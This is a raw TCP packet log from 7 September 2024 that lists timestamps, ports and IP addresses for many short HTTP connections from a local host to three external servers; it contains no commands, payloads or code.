Sep 7, 2024 15:31:24.823179007 CEST	55265	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:24.828154087 CEST	80	55265	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:25.308024883 CEST	80	55265	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:25.308052063 CEST	80	55265	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:25.308114052 CEST	55265	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:25.308197975 CEST	55265	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:25.316632032 CEST	55263	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:25.316937923 CEST	55266	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:25.321902990 CEST	80	55266	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:25.322252989 CEST	80	55263	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:25.322360992 CEST	55263	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:25.322362900 CEST	55266	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:25.330987930 CEST	55266	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:25.335882902 CEST	80	55266	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:25.806225061 CEST	80	55266	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:25.806278944 CEST	55266	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:32.990770102 CEST	55267	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:32.996823072 CEST	80	55267	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:32.996900082 CEST	55267	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:32.997004032 CEST	55267	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:33.001085997 CEST	55268	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.003711939 CEST	80	55267	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:33.003782988 CEST	55267	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:33.007555962 CEST	80	55268	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:33.007623911 CEST	55268	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.007719994 CEST	55268	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.013731956 CEST	80	55268	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:33.524542093 CEST	80	55268	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:33.524708033 CEST	55268	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.524957895 CEST	80	55268	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:33.525010109 CEST	55268	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.526746988 CEST	55266	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.527100086 CEST	55269	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.532767057 CEST	80	55269	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:33.532855034 CEST	55269	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.533019066 CEST	55269	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.533195019 CEST	80	55266	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:33.533251047 CEST	55266	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:33.538268089 CEST	80	55269	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:34.025268078 CEST	80	55269	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:34.025331974 CEST	55269	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:34.331187010 CEST	55270	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:34.338273048 CEST	80	55270	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:34.338350058 CEST	55270	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:34.348500013 CEST	55270	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:34.356841087 CEST	80	55270	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:34.356899977 CEST	55270	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:34.522423029 CEST	55271	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:34.530967951 CEST	80	55271	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:34.533855915 CEST	55271	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:34.536094904 CEST	55271	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:34.543920040 CEST	80	55271	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:34.545826912 CEST	55271	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:34.675026894 CEST	55272	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:34.683406115 CEST	80	55272	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:34.683564901 CEST	55272	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:34.683670044 CEST	55272	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:34.694305897 CEST	80	55272	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:34.694364071 CEST	55272	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:36.168486118 CEST	55273	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:36.173347950 CEST	80	55273	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:36.175921917 CEST	55273	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:36.176701069 CEST	55273	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:36.183470964 CEST	80	55273	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:36.183562994 CEST	55273	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:37.102538109 CEST	55274	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:37.107758999 CEST	80	55274	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:37.107826948 CEST	55274	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:37.107887030 CEST	55274	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:37.114379883 CEST	80	55274	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:37.114461899 CEST	55274	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:37.383023024 CEST	55275	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:37.387923956 CEST	80	55275	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:37.391855001 CEST	55275	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:37.392004967 CEST	55275	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:37.397022963 CEST	80	55275	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:37.399878979 CEST	55275	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:38.187504053 CEST	55276	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:38.192358017 CEST	80	55276	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:38.192457914 CEST	55276	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:38.192564011 CEST	55276	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:38.198044062 CEST	80	55276	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:38.198103905 CEST	55276	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:39.154541969 CEST	55277	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:39.159338951 CEST	80	55277	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:39.159423113 CEST	55277	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:39.159585953 CEST	55277	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:39.164908886 CEST	80	55277	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:39.164985895 CEST	55277	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:39.318173885 CEST	55278	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:39.323084116 CEST	80	55278	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:39.323156118 CEST	55278	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:39.332911015 CEST	55278	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:39.337924004 CEST	80	55278	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:39.337996960 CEST	55278	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:39.487334967 CEST	55279	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:39.492212057 CEST	80	55279	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:39.492268085 CEST	55279	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:39.492363930 CEST	55279	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:39.497682095 CEST	80	55279	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:39.497772932 CEST	55279	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:42.474641085 CEST	55280	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:42.479635954 CEST	80	55280	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:42.479721069 CEST	55280	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:42.479779005 CEST	55280	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:42.485320091 CEST	80	55280	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:42.485389948 CEST	55280	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:44.062025070 CEST	55281	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:44.066965103 CEST	80	55281	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:44.067042112 CEST	55281	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:44.067133904 CEST	55281	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:44.072320938 CEST	80	55281	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:44.072540045 CEST	55281	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:46.360479116 CEST	55282	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:46.365876913 CEST	80	55282	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:46.365957022 CEST	55282	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:46.366034031 CEST	55282	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:46.371586084 CEST	80	55282	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:46.371639013 CEST	55282	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:47.064630032 CEST	55283	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:47.069492102 CEST	80	55283	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:47.069575071 CEST	55283	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:47.069740057 CEST	55283	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:47.074959993 CEST	80	55283	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:47.075030088 CEST	55283	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:53.101253033 CEST	55284	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:53.106327057 CEST	80	55284	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:53.106426954 CEST	55284	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:53.106502056 CEST	55284	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:53.112734079 CEST	80	55284	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:53.112832069 CEST	55284	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:54.417582035 CEST	55285	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:54.422646999 CEST	80	55285	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:54.422718048 CEST	55285	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:54.422808886 CEST	55285	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:54.428509951 CEST	80	55285	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:54.429863930 CEST	55285	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:55.199696064 CEST	55286	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:55.204987049 CEST	80	55286	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:55.205044985 CEST	55286	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:55.205116987 CEST	55286	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:55.211294889 CEST	80	55286	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:55.211344004 CEST	55286	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:56.918394089 CEST	55287	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:56.924614906 CEST	80	55287	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:56.927905083 CEST	55287	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:56.928019047 CEST	55287	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:56.933017969 CEST	80	55287	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:56.933084965 CEST	55287	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:57.579756975 CEST	55288	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:57.584683895 CEST	80	55288	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:57.584760904 CEST	55288	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:57.584893942 CEST	55288	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:57.590004921 CEST	80	55288	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:57.590173960 CEST	80	55288	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:57.590220928 CEST	55288	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:57.740941048 CEST	55289	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:57.745831966 CEST	80	55289	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:57.745910883 CEST	55289	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:57.746006012 CEST	55289	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:57.751502037 CEST	80	55289	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:57.751943111 CEST	55289	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:58.013931990 CEST	55290	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:58.018821955 CEST	80	55290	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:58.019856930 CEST	55290	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:58.020457029 CEST	55290	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:58.025454998 CEST	80	55290	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:58.027975082 CEST	55290	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:58.528533936 CEST	55291	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:58.533571959 CEST	80	55291	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:58.533649921 CEST	55291	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:58.533766031 CEST	55291	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:58.538988113 CEST	80	55291	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:58.539038897 CEST	55291	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:02.078778028 CEST	55292	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:02.083663940 CEST	80	55292	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:02.083810091 CEST	55292	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:02.083969116 CEST	55292	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:02.089051008 CEST	80	55292	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:02.089113951 CEST	55292	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:02.196316957 CEST	55293	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:02.201293945 CEST	80	55293	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:02.201354980 CEST	55293	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:02.208035946 CEST	55293	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:02.213170052 CEST	80	55293	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:02.213226080 CEST	55293	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:04.023138046 CEST	80	55269	172.234.222.143	192.168.2.7
Sep 7, 2024 15:32:04.023221016 CEST	55269	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:32:04.924499989 CEST	55294	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:04.930037022 CEST	80	55294	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:04.931988001 CEST	55294	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:04.932065964 CEST	55294	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:04.937573910 CEST	80	55294	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:04.937644958 CEST	55294	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:06.355359077 CEST	55295	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:06.360404015 CEST	80	55295	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:06.360513926 CEST	55295	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:06.360563993 CEST	55295	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:06.366045952 CEST	80	55295	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:06.366128922 CEST	55295	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:08.563868999 CEST	55296	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:08.569071054 CEST	80	55296	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:08.569156885 CEST	55296	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:08.583018064 CEST	55296	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:08.589298010 CEST	80	55296	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:08.589375019 CEST	55296	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:14.335314035 CEST	55297	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:14.341114998 CEST	80	55297	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:14.341193914 CEST	55297	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:14.341422081 CEST	55297	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:14.346968889 CEST	80	55297	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:14.347057104 CEST	55297	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:15.027780056 CEST	55298	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:15.037013054 CEST	80	55298	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:15.037381887 CEST	55298	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:15.037477970 CEST	55298	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:15.043235064 CEST	80	55298	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:15.043292999 CEST	55298	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:18.002403021 CEST	54789	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:18.007788897 CEST	80	54789	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:18.009906054 CEST	54789	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:18.009994984 CEST	54789	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:18.015219927 CEST	80	54789	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:18.017667055 CEST	54789	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:21.670476913 CEST	54992	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:21.676213026 CEST	80	54992	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:21.676295042 CEST	54992	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:21.676381111 CEST	54992	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:21.681507111 CEST	80	54992	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:21.681581974 CEST	54992	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:22.154493093 CEST	54993	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:22.166376114 CEST	80	54993	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:22.169888973 CEST	54993	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:22.169991016 CEST	54993	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:22.177925110 CEST	80	54993	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:22.177948952 CEST	80	54993	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:22.178011894 CEST	54993	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:27.071374893 CEST	54994	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:27.076215982 CEST	80	54994	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:27.078318119 CEST	54994	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:27.078476906 CEST	54994	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:27.083607912 CEST	80	54994	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:27.083668947 CEST	54994	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:28.269790888 CEST	54995	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:28.274892092 CEST	80	54995	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:28.276698112 CEST	54995	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:28.286206961 CEST	54995	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:28.291184902 CEST	80	54995	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:28.291249037 CEST	54995	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:31.690433025 CEST	54996	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:31.696974993 CEST	80	54996	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:31.697062969 CEST	54996	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:31.697190046 CEST	54996	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:31.705008984 CEST	80	54996	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:31.705075026 CEST	54996	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:33.790683031 CEST	54997	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:33.796693087 CEST	80	54997	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:33.797851086 CEST	54997	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:33.801923037 CEST	54997	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:33.808350086 CEST	80	54997	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:33.809896946 CEST	54997	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:36.102436066 CEST	52570	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:36.110620022 CEST	80	52570	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:36.110719919 CEST	52570	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:36.110796928 CEST	52570	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:36.117652893 CEST	80	52570	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:36.117902994 CEST	52570	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:36.734504938 CEST	52571	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:36.739311934 CEST	80	52571	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:36.739608049 CEST	52571	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:36.739697933 CEST	52571	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:36.744962931 CEST	80	52571	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:36.745043993 CEST	52571	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:41.081403971 CEST	52572	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:41.090221882 CEST	80	52572	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:41.090310097 CEST	52572	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:41.090420961 CEST	52572	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:41.097575903 CEST	80	52572	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:41.097659111 CEST	52572	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:41.406075954 CEST	52573	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:41.411381006 CEST	80	52573	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:41.411451101 CEST	52573	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:41.411542892 CEST	52573	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:41.417434931 CEST	80	52573	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:41.417500973 CEST	52573	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:43.242454052 CEST	52574	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:43.247497082 CEST	80	52574	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:43.249926090 CEST	52574	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:43.255027056 CEST	52574	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:43.261043072 CEST	80	52574	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:43.261250973 CEST	52574	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.636128902 CEST	52575	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.642725945 CEST	80	52575	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:46.643946886 CEST	52575	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.644043922 CEST	52575	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.649847984 CEST	80	52575	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:46.652786016 CEST	52575	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.758227110 CEST	52576	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.763237000 CEST	80	52576	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:46.764329910 CEST	52576	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.764409065 CEST	52576	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.772608042 CEST	80	52576	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:46.772981882 CEST	52576	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:46.863852978 CEST	52577	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:46.868784904 CEST	80	52577	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:46.868885040 CEST	52577	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:46.868959904 CEST	52577	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:46.874358892 CEST	80	52577	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:46.876955032 CEST	52577	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:48.568325043 CEST	55269	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:32:48.584600925 CEST	80	55269	172.234.222.143	192.168.2.7
Sep 7, 2024 15:32:49.204478025 CEST	52578	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:49.214679956 CEST	80	52578	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:49.216119051 CEST	52578	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:49.219764948 CEST	52578	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:49.227467060 CEST	80	52578	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:49.227952957 CEST	52578	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:50.269742012 CEST	52579	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:50.274758101 CEST	80	52579	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:50.274825096 CEST	52579	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:50.274904966 CEST	52579	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:50.280760050 CEST	80	52579	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:50.280839920 CEST	52579	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:51.930526972 CEST	52580	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:51.939219952 CEST	80	52580	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:51.940418005 CEST	52580	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:51.942624092 CEST	52580	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:51.951452017 CEST	80	52580	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:51.953903913 CEST	52580	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:53.230484009 CEST	52581	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:53.238838911 CEST	80	52581	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:53.241933107 CEST	52581	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:53.255081892 CEST	52581	80	192.168.2.7	88.198.29.97
